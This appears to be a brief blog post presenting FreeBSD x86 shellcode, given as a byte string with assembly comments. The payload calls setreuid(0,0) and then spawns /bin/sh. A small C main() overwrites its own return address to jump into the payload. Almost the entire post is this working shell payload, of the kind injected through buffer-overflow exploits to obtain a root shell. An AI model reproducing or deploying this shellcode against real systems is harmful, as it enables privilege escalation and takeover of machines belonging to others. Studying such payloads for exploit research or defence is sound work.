BSD Shellcode : FreeBSD
This code runs setreuid(0), then invokes /bin/sh for the FreeBSD platform, on x86.
/*
freebsd setreuid(0,0) shellcode example
Not optimized
*/
char setreuidcode[] =
"\x31\xc0" /* xor %eax,%eax */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\xb0\x7e" /* mov $0x7e,%al */
"\x50" /* push %eax */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (//sh) */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x54" /* push %esp */
"\x53" /* push %ebx */
"\x50" /* push %eax */
"\xb0\x3b" /* mov $0x3b,%al */
"\xcd\x80"; /* int $0x80 */
void main()
{
int* ret;
ret = (int*) &ret + 2;
(*ret) = (int) setreuidcode;
}
0 Comments:
Post a Comment